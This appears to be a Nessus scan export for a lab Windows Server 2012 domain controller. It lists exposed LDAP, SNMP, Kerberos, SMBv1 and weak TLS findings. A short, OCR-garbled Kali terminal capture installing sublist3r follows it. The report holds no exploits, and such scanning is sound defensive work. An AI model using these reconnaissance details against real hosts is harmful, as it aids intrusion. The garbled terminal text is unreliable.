   |  DC=ForestDnsZones,DC=ACCB6000,DC=com
[+]-defaultNamingContext:
   |  DC=ACCB6000,DC=com
[+]-schemaNamingContext:
   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com
[+]-configurationNamingContext:
   |  CN=Configuration,DC=ACCB6000,DC=com
[+]-rootDomainNamingContext:
   |  DC=ACCB6000,DC=com
[+]-supportedControl:
   |  1.2.840.113556.1.4.319
   |  1.2.840.113556.1.4.801
   |  1.2.840.113556.1.4.473
   |  1.2.840.113556.1.4.528
   |  1.2.840.113556.1.4.417
   |  1.2.840.113556.1.4.619
   |  1.2.840.113556.1.4.841
   |  1.2.840.113556.1.4.529
   |  1.2.840.113556.1.4.805
   |  1.2.840.113556.1.4.521
   |  1.2.840.113556.1.4.970
   |  1.2.840.113556.1.4.1338
   |  1.2.840.113556.1.4.474
   |  1.2.840.113556.1.4.1339
   |  1.2.840.113556.1.4.1340
   |  1.2.840.113556.1.4.1413
   |  2.16.840.1.113730.3.4.9
   |  2.16.840.1.113730.3.4.10
   |  1.2.840.113556.1.4.1504
   |  1.2.840.113556.1.4.1852
   |  1.2.840.113556.1.4.802
   |  1.2.840.113556.1.4.1907
   |  1.2.840.113556.1.4.1948
   |  1.2.840.113556.1.4.1974
   |  1.2.840.113556.1.4.1341
   |  1.2.840.113556.1.4.2026
   |  1.2.840.113556.1.4.2064
   |  1.2.840.113556.1.4.2065
   |  1.2.840.113556.1.4.2066
   |  1.2.840.113556.1.4.2090
   |  1.2.840.113556.1.4.2205
   |  1.2.840.113556.1.4.2204
   |  1.2.840.113556.1.4.2206
   |  1.2.840.113556.1.4.2211
   |  1.2.840.113556.1.4.2239
   |  1.2.840.113556.1.4.2255
   |  1.2.840.113556.1.4.2256
[+]-supportedLDAPVersion:
   |  3
   |  2
[+]-supportedLDAPPolicies:
   |  MaxPoolThreads
   |  MaxPercentDirSyncRequests
   |  MaxDatagramRecv
   |  MaxReceiveBuffer
   |  InitRecvTimeout
   |  MaxConnections
   |  MaxConnIdleTime
   |  MaxPageSize
   |  MaxBatchReturnMessages
   |  MaxQueryDuration
   |  MaxTempTableSize
   |  MaxResultSetSize
   |  MinResultSets
   |  MaxResultSetsPerConn
   |  MaxNotificationPerConn
   |  MaxValRange
   |  MaxValRangeTransitive
   |  ThreadMemoryLimit
   |  SystemMemoryLimitPercent
[+]-highestCommittedUSN:
   |  45091
[+]-supportedSASLMechanisms:
   |  GSSAPI
   |  GSS-SPNEGO
   |  EXTERNAL
   |  DIGEST-MD5
[+]-dnsHostName:
   |  Server2012.ACCB6000.com
[+]-ldapServiceName:
   |  ACCB6000.com:server2012$@ACCB6000.COM
[+]-serverName:
   |  CN=SERVER2012,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=ACCB6000,DC=com
[+]-supportedCapabilities:
   |  1.2.840.113556.1.4.800
   |  1.2.840.113556.1.4.1670
   |  1.2.840.113556.1.4.1791
   |  1.2.840.113556.1.4.1935
   |  1.2.840.113556.1.4.2080
   |  1.2.840.113556.1.4.2237
[+]-isSynchronized:
   |  TRUE
[+]-isGlobalCatalogReady:
   |  TRUE
[+]-domainFunctionality:
   |  6
[+]-forestFunctionality:
   |  6
[+]-domainControllerFunctionality:
   |  6
		None

		25701						None		10.0.2.10		tcp		3268		LDAP Crafted Search Request Server Information Disclosure		It is possible to discover information about the remote LDAP server.		By sending a search request with a filter set to 'objectClass=*', it
is possible to extract information about the remote LDAP server.		n/a				[+]-namingContexts:
   |  DC=ACCB6000,DC=com
   |  CN=Configuration,DC=ACCB6000,DC=com
   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com
   |  DC=DomainDnsZones,DC=ACCB6000,DC=com
   |  DC=ForestDnsZones,DC=ACCB6000,DC=com
[+]-currentTime:
   |  20221230105800.0Z
[+]-subschemaSubentry:
   |  CN=Aggregate,CN=Schema,CN=Configuration,DC=ACCB6000,DC=com
[+]-dsServiceName:
   |  CN=NTDS Settings,CN=SERVER2012,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=ACCB6000,DC=com
[+]-namingContexts:
   |  DC=ACCB6000,DC=com
   |  CN=Configuration,DC=ACCB6000,DC=com
   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com
   |  DC=DomainDnsZones,DC=ACCB6000,DC=com
   |  DC=ForestDnsZones,DC=ACCB6000,DC=com
[+]-defaultNamingContext:
   |  DC=ACCB6000,DC=com
[+]-schemaNamingContext:
   |  CN=Schema,CN=Configuration,DC=ACCB6000,DC=com
[+]-configurationNamingContext:
   |  CN=Configuration,DC=ACCB6000,DC=com
[+]-rootDomainNamingContext:
   |  DC=ACCB6000,DC=com
[+]-supportedControl:
   |  1.2.840.113556.1.4.319
   |  1.2.840.113556.1.4.801
   |  1.2.840.113556.1.4.473
   |  1.2.840.113556.1.4.528
   |  1.2.840.113556.1.4.417
   |  1.2.840.113556.1.4.619
   |  1.2.840.113556.1.4.841
   |  1.2.840.113556.1.4.529
   |  1.2.840.113556.1.4.805
   |  1.2.840.113556.1.4.521
   |  1.2.840.113556.1.4.970
   |  1.2.840.113556.1.4.1338
   |  1.2.840.113556.1.4.474
   |  1.2.840.113556.1.4.1339
   |  1.2.840.113556.1.4.1340
   |  1.2.840.113556.1.4.1413
   |  2.16.840.1.113730.3.4.9
   |  2.16.840.1.113730.3.4.10
   |  1.2.840.113556.1.4.1504
   |  1.2.840.113556.1.4.1852
   |  1.2.840.113556.1.4.802
   |  1.2.840.113556.1.4.1907
   |  1.2.840.113556.1.4.1948
   |  1.2.840.113556.1.4.1974
   |  1.2.840.113556.1.4.1341
   |  1.2.840.113556.1.4.2026
   |  1.2.840.113556.1.4.2064
   |  1.2.840.113556.1.4.2065
   |  1.2.840.113556.1.4.2066
   |  1.2.840.113556.1.4.2090
   |  1.2.840.113556.1.4.2205
   |  1.2.840.113556.1.4.2204
   |  1.2.840.113556.1.4.2206
   |  1.2.840.113556.1.4.2211
   |  1.2.840.113556.1.4.2239
   |  1.2.840.113556.1.4.2255
   |  1.2.840.113556.1.4.2256
[+]-supportedLDAPVersion:
   |  3
   |  2
[+]-supportedLDAPPolicies:
   |  MaxPoolThreads
   |  MaxPercentDirSyncRequests
   |  MaxDatagramRecv
   |  MaxReceiveBuffer
   |  InitRecvTimeout
   |  MaxConnections
   |  MaxConnIdleTime
   |  MaxPageSize
   |  MaxBatchReturnMessages
   |  MaxQueryDuration
   |  MaxTempTableSize
   |  MaxResultSetSize
   |  MinResultSets
   |  MaxResultSetsPerConn
   |  MaxNotificationPerConn
   |  MaxValRange
   |  MaxValRangeTransitive
   |  ThreadMemoryLimit
   |  SystemMemoryLimitPercent
[+]-highestCommittedUSN:
   |  45091
[+]-supportedSASLMechanisms:
   |  GSSAPI
   |  GSS-SPNEGO
   |  EXTERNAL
   |  DIGEST-MD5
[+]-dnsHostName:
   |  Server2012.ACCB6000.com
[+]-ldapServiceName:
   |  ACCB6000.com:server2012$@ACCB6000.COM
[+]-serverName:
   |  CN=SERVER2012,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=ACCB6000,DC=com
[+]-supportedCapabilities:
   |  1.2.840.113556.1.4.800
   |  1.2.840.113556.1.4.1670
   |  1.2.840.113556.1.4.1791
   |  1.2.840.113556.1.4.1935
   |  1.2.840.113556.1.4.2080
   |  1.2.840.113556.1.4.2237
[+]-isSynchronized:
   |  TRUE
[+]-isGlobalCatalogReady:
   |  TRUE
[+]-domainFunctionality:
   |  6
[+]-forestFunctionality:
   |  6
[+]-domainControllerFunctionality:
   |  6
		None

		26917						None		10.0.2.10		tcp		445		Microsoft Windows SMB Registry : Nessus Cannot Access the Windows Registry		Nessus is not able to access the remote Windows Registry.		It was not possible to connect to PIPE\winreg on the remote host.

If you intend to use Nessus to perform registry-based checks, the
registry checks will not work because the 'Remote Registry Access'
service (winreg) has been disabled on the remote host or can not be
connected to with the supplied credentials.		n/a				Could not connect to the registry because:
Could not connect to \winreg		None

		33139						None		10.0.2.10		tcp		5985		WS-Management Server Detection		The remote web server is used for remote management.		The remote web server supports the Web Services for Management
(WS-Management) specification, a general web services protocol based
on SOAP for managing systems, applications, and other such entities.		Limit incoming traffic to this port if desired.		https://www.dmtf.org/standards/ws-man
https://en.wikipedia.org/wiki/WS-Management		
Here is some information about the WS-Management Server :

  Product Vendor  : Microsoft Corporation
  Product Version : OS: 0.0.0 SP: 0.0 Stack: 3.0
		None

		34022						None		10.0.2.10		udp		161		SNMP Query Routing Information Disclosure		The list of IP routes on the remote host can be obtained via SNMP.		It is possible to obtain the routing information on the remote host
by sending SNMP requests with the OID 1.3.6.1.2.1.4.21

An attacker may use this information to gain more knowledge about the
network topology.		Disable the SNMP service on the remote host if you do not use it, or
filter incoming UDP packets going to this port.				
10.0.2.0/255.255.255.0
10.0.2.10/255.255.255.255
10.0.2.255/255.255.255.255
127.0.0.0/255.0.0.0
127.0.0.1/255.255.255.255
127.255.255.255/255.255.255.255
224.0.0.0/240.0.0.0
255.255.255.255/255.255.255.255
		None

		35296						None		10.0.2.10		udp		161		SNMP Protocol Version Detection		This plugin reports the protocol version negotiated with the remote
SNMP agent.		By sending an SNMP 'get-next-request', it is possible to determine the
protocol version of the remote SNMP agent.		Disable the SNMP service on the remote host if you do not use it, or
filter incoming UDP packets going to this port.		https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol		
Nessus has negotiated SNMP communications at SNMPv2c.
		None

		35716						None		10.0.2.10		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

08:00:27:7F:6E:8C : PCS Systemtechnik GmbH
		None

		40448						None		10.0.2.10		udp		161		SNMP Supported Protocols Detection		This plugin reports all the protocol versions successfully negotiated
with the remote SNMP agent.		Extend the SNMP settings data already gathered by testing for\
SNMP versions other than the highest negotiated.		n/a				This host supports SNMP version SNMPv1.
This host supports SNMP version SNMPv2c.
		None

		43829						None		10.0.2.10		tcp		88		Kerberos Information Disclosure		The remote Kerberos server is leaking information.		Nessus was able to retrieve the realm name and/or server time of the
remote Kerberos server.		n/a				
Nessus gathered the following information :

  Server time  : 2022-12-30 10:56:00 UTC
  Realm        : ACCB6000.COM
		None

		45410						None		10.0.2.10		tcp		3389		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  server2012

The Common Name in the certificate is :

  server2012.accb6000.com
		None

		45590						None		10.0.2.10		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE : 

  cpe:/o:microsoft:windows_server_2012:r2::datacenter -> Microsoft Windows Server 2012
		None

		51891						None		10.0.2.10		tcp		3389		SSL Session Resume Supported		The remote host allows resuming SSL sessions.		This script detects whether a host allows resuming SSL sessions by
performing a full SSL handshake to receive a session ID, and then
reconnecting with the previously used session ID.  If the server
accepts the session ID in the second connection, the server maintains
a cache of sessions that can be resumed.		n/a				
This port supports resuming TLSv1 / TLSv1 / TLSv1 sessions.
		None

		53513						None		10.0.2.10		udp		5355		Link-Local Multicast Name Resolution (LLMNR) Detection		The remote device supports LLMNR.		The remote device answered to a Link-local Multicast Name Resolution
(LLMNR) request.  This protocol provides a name lookup service similar
to NetBIOS or DNS.  It is enabled by default on modern Windows
versions.		Make sure that use of this software conforms to your organization's
acceptable use and security policies.		http://www.nessus.org/u?51eae65d
http://technet.microsoft.com/en-us/library/bb878128.aspx		
According to LLMNR, the name of the remote host is 'Server2012'.
		None

		54615						None		10.0.2.10		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 99
		None

		56984						None		10.0.2.10		tcp		3389		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0/TLSv1.1/TLSv1.2.
		None

		57041						None		10.0.2.10		tcp		3389		SSL Perfect Forward Secrecy Cipher Suites Supported		The remote service supports the use of SSL Perfect Forward Secrecy
ciphers, which maintain confidentiality even if the key is stolen.		The remote host supports the use of SSL ciphers that offer Perfect
Forward Secrecy (PFS) encryption.  These cipher suites ensure that
recorded SSL traffic cannot be broken at a future date if the server's
private key is compromised.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange
https://en.wikipedia.org/wiki/Perfect_forward_secrecy		
Here is the list of SSL PFS ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DHE-RSA-AES128-SHA256         0x00, 0x9E       DH            RSA      AES-GCM(128)           SHA256
    DHE-RSA-AES256-SHA384         0x00, 0x9F       DH            RSA      AES-GCM(256)           SHA384
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
		None

		64814						None		10.0.2.10		tcp		3389		Terminal Services Use SSL/TLS		The remote Terminal Services use SSL/TLS.		The remote Terminal Services is configured to use SSL/TLS.		n/a				Subject Name: 

Common Name: Server2012.ACCB6000.com

Issuer Name: 

Common Name: Server2012.ACCB6000.com

Serial Number: 29 7D 4B 30 9F 86 B5 B0 41 F6 45 8D 8E 5B 91 60 

Version: 3

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Nov 21 11:24:20 2022 GMT
Not Valid After: May 23 11:24:20 2023 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 E0 5A 2E B5 52 E8 7C CB C9 59 B0 29 FD 0C 84 1B 85 FC E1 
            63 BC 76 DC 5B 84 C9 64 77 00 75 C3 74 03 AC B4 FA 0C F4 EC 
            26 AB CA 5A 53 EE 44 80 2E 4B 74 F7 89 EA 30 9B 90 25 08 E5 
            F9 2B 72 01 9D 6A 9B 48 91 A6 34 97 B0 58 30 1E B6 A2 F7 E8 
            59 F2 80 00 58 C5 16 BE FD CB 7B F4 DB FD 32 68 43 87 EA 4A 
            24 71 29 4E 5F 1B BF 97 C8 AD 35 0E 21 04 A3 99 3D 3D 01 5C 
            FB 2B BB 6C 23 F2 F6 9F E0 9D 5C 8A 52 B6 22 AC DD CD 3F 7B 
            8B 03 0F 24 67 CE 6F 43 A7 7D FC 1F DF F8 86 A3 92 53 82 4F 
            F1 D2 B8 31 2D 9E 7C AC 69 AE 4B D0 7A 1E AE B7 B1 62 1D 71 
            C9 1E 2B 0E 44 BA 2A 44 0B 9F ED EC D6 09 D8 05 DA 4D 8E 21 
            B1 9A 78 21 B2 A1 52 C1 4A 5F 64 3F FB A5 37 7A 73 A0 2C 8D 
            4F E6 0B 8A FB EE EA B3 F7 F3 D0 5F 46 94 F7 26 B7 93 6D C3 
            C5 B5 7F 36 A3 36 78 98 7C 40 79 90 F8 4B 6F 6D 65 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 DF 95 1D 04 3C 3E A4 9E 0B A1 E3 AB 5C B8 55 86 8D 57 DE 
           B5 2C B9 1B A1 34 20 41 E0 55 A9 91 FA F3 C5 9E 8B D9 0F 9D 
           74 00 17 63 A4 CD 44 DF 17 B4 E5 DA C3 B0 D7 67 4F 4B 81 0F 
           A3 87 34 76 13 2A F5 F4 1D 8E 0D 93 E9 62 5F AC 6E BF 3F F6 
           C0 D3 18 5C D1 57 38 53 19 C7 54 43 9A D3 7C 60 D4 83 53 FF 
           AD 59 65 19 98 38 D6 B5 8B F2 92 04 EF 89 59 96 0B D9 C8 7D 
           C7 16 20 9A 5E FF 2A B2 FC E5 1C CD 0E 8A 79 8E 03 9A F1 78 
           75 55 93 68 C8 DF 4A 7D C8 B2 ED B4 ED 5E D1 09 3B 56 4F 0F 
           3F 3D D5 99 BA 8B 56 11 6E D8 66 88 30 16 44 DA 5A E8 C7 56 
           D2 F3 F8 0B 6A 32 AB 0E 3A FB 12 AE 4D 4A 00 C2 80 F3 0A 38 
           47 60 50 3D 9D 5D A6 50 19 54 99 08 CE F3 D4 C9 47 CA 33 21 
           3C 13 FE 5E 51 44 3B FC 1A 9A A2 B3 9C 3F 18 29 19 9A 33 CF 
           E1 9D 94 3E 16 8C 16 1E BF 3E C8 33 F9 6C 73 6A AE 

Extension: Extended Key Usage (2.5.29.37)
Critical: 0
Purpose#1: Web Server Authentication (1.3.6.1.5.5.7.3.1)


Extension: Key Usage (2.5.29.15)
Critical: 0
Key Usage: Key Encipherment, Data Encipherment


		None

		66173						None		10.0.2.10		tcp		3389		RDP Screenshot		It is possible to take a screenshot of the remote login screen.		This script attempts to connect to the remote host via RDP (Remote
Desktop Protocol) and attempts to take a screenshot of the login
screen.

While this is not a vulnerability by itself, some versions of Windows
display the names of the users who can connect and which ones are
connected already.		n/a				It was possible to gather the following screenshot of the remote login screen.		None

		70544						None		10.0.2.10		tcp		3389		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
		None

		86420						None		10.0.2.10		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 08:00:27:7F:6E:8C
		None

		96982						None		10.0.2.10		tcp		445		Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)		The remote Windows host supports the SMBv1 protocol.		The remote Windows host supports Server Message Block Protocol
version 1 (SMBv1). Microsoft recommends that users discontinue the use
of SMBv1 due to the lack of security features that were included in
later SMB versions. Additionally, the Shadow Brokers group reportedly
has an exploit that affects SMB; however, it is unknown if the exploit
affects SMBv1 or another version. In response to this, US-CERT
recommends that users disable SMBv1 per SMB best practices to mitigate
these potential issues.		Disable SMBv1 according to the vendor instructions in Microsoft
KB2696547. Additionally, block SMB directly by blocking TCP port 445
on all network boundary devices. For SMB over the NetBIOS API, block
TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary
devices.		https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/
https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and
http://www.nessus.org/u?8dcab5e4
http://www.nessus.org/u?234f8ef8
http://www.nessus.org/u?4c7e0cf3		
The remote host supports SMBv1.
		None

		100871						None		10.0.2.10		tcp		445		Microsoft Windows SMB Versions Supported (remote check)		It was possible to obtain information about the version of SMB running
on the remote host.		Nessus was able to obtain the version of SMB running on the remote
host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.		n/a				
The remote host supports the following versions of SMB :
  SMBv1
  SMBv2
		None

		104410						None		10.0.2.10		tcp		445		Target Credential Status by Authentication Protocol - Failure for Provided Credentials		Nessus was unable to log into the detected authentication protocol,
using the provided credentials, in order to perform credentialed checks.		Nessus failed to successfully authenticate directly to the remote
target on an available authentication protocol. Nessus was able to
connect to the remote port and identify that the service running on
the port supports an authentication protocol, but Nessus failed to
authenticate to the remote service using the provided credentials.

There may have been a failure in protocol negotiation or communication
that prevented authentication from being attempted or all of the
provided credentials for the authentication protocol may have been
invalid. A protocol failure may indicate a compatibility issue with
the protocol configuration. A protocol failure due to an environmental
issue such as resource or congestion issues may also prevent valid
credentials from being identified. See plugin output for error
details.

Please note the following :

- This plugin reports per protocol, so it is possible for
  valid credentials to be provided for one protocol and not
  another. For example, authentication may succeed via SSH
  but fail via SMB, while no credentials were provided for
  an available SNMP service.

- Providing valid credentials for all available
  authentication protocols may improve scan coverage, but
  the value of successful authentication for a given
  protocol may vary from target to target depending upon
  what data (if any) is gathered from the target via that
  protocol. For example, successful authentication via SSH
  is more valuable for Linux targets than for Windows
  targets, and likewise successful authentication via SMB
  is more valuable for Windows targets than for Linux
  targets.		Address the reported problem(s) so that credentialed checks can be
executed.				
Nessus was unable to log into the following host for which
credentials have been provided :

  Protocol        : SMB
  Port            : 445
  Failure details :

  - User : administrator

    - Plugin      : smb_login.nasl
      Plugin ID   : 10394
      Plugin Name : Microsoft Windows SMB Log In Possible
      Message     : SMB2 authentication : smb2_session_setup() failed.


    - Plugin      : smb_login.nasl
      Plugin ID   : 10394
      Plugin Name : Microsoft Windows SMB Log In Possible
      Message     : 
SMB1 authentication : smb_session_setup_andx_ntlmssp_core() failed.


    - Plugin      : smb_login.nasl
      Plugin ID   : 10394
      Plugin Name : Microsoft Windows SMB Log In Possible
      Message     : 
Failed to authenticate using the supplied credentials.
		None

		106716						None		10.0.2.10		tcp		445		Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)		It was possible to obtain information about the dialects of SMB2 and SMB3 available
on the remote host.		Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote
host by sending an authentication request to port 139 or 445.		n/a				
The remote host supports the following SMB dialects :
	_version_  _introduced in windows version_
	2.0.2      Windows 2008  
	2.1        Windows 7     
	3.0        Windows 8     
	3.0.2      Windows 8.1   

The remote host does NOT support the following SMB dialects :
	_version_  _introduced in windows version_
	2.2.2      Windows 8 Beta
	2.2.4      Windows 8 Beta
	3.1        Windows 10    
	3.1.1      Windows 10    
		None

		121010						None		10.0.2.10		tcp		3389		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.		None

		135860						None		10.0.2.10		tcp		445		WMI Not Available		WMI queries could not be made against the remote host.		WMI (Windows Management Instrumentation) is not available on the
remote host over DCOM. WMI queries are used to gather information
about the remote host, such as its current state, network interface
configuration, etc.

Without this information Nessus may not be able to identify installed
software or security vunerabilities that exist on the remote host.		n/a		https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page		Can't connect to the 'root\CIMV2' WMI namespace.		None

		136318						None		10.0.2.10		tcp		3389		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.		None

		156899						None		10.0.2.10		tcp		3389		SSL/TLS Recommended Cipher Suites		The remote host advertises discouraged SSL/TLS ciphers.		The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable
support for the following cipher suites:

TLSv1.3:
  - 0x13,0x01 TLS_AES_128_GCM_SHA256
  - 0x13,0x02 TLS_AES_256_GCM_SHA384
  - 0x13,0x03 TLS_CHACHA20_POLY1305_SHA256

TLSv1.2:
  - 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
  - 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
  - 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
  - 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
  - 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
  - 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305
  - 0x00,0x9E DHE-RSA-AES128-GCM-SHA256
  - 0x00,0x9F DHE-RSA-AES256-GCM-SHA384

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with
nearly every client released in the last five (or more) years.		Only enable support for recommened cipher suites.		https://wiki.mozilla.org/Security/Server_Side_TLS
https://ssl-config.mozilla.org/		The remote host has listening SSL/TLS ports which advertise the discouraged cipher suites outlined below:


  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           SHA256
    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-GCM(256)           SHA384
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    ECDHE-RSA-AES128-SHA256       0xC0, 0x27       ECDH          RSA      AES-CBC(128)           SHA256
    ECDHE-RSA-AES256-SHA384       0xC0, 0x28       ECDH          RSA      AES-CBC(256)           SHA384
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
		None
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File Actions Edit View Help

gt
Password:
su: Authentication failure

[L(kali® kati)-[~]
sudo su

[sudo] password for kali:
E(notska\i)—[/ho-g/kali]

/ apt update & apt -y install sublist3r
.download/kali kali-rolling InRelease [30.6 kBl
.download/kali kali-rolling/main amde4 Packages [18.9 MB]
.download/kali kali-rolling/main amd64 Contents (deb) [43.5 MB]
.download/kali kali-rolling/contrib amde4 Packages [114 kB]
.download/kali kali-rolling/contrib ande4 Contents (deb) [168 kB]
Get .download/kali kali-rolling/non-free amdsi Packages [239 kB]
Get: i.download/kali kali-rolling/non-free amds Contents (deb) [906 k8]
Fetched 63.8 MB in 10s (6,686 kB/s)
Reading package lists ... Done
Building dependency tree... Done

Get:
Get:
Get
Get
Get:

Reading state information ... Done
1459 packages can be upgraded. Run 'apt list —upgradable’ to see them.
Reading package lists ... Done

Building dependency tree... Done
Reading state information ... Done
The following NEW packages will be installed:
sublist3r
0 upgraded, 1 newly installed, © to remove and 1459 not upgraded
Need to get 620 kB of archives.
After this operation, 1,944 kB of additional disk space will be used
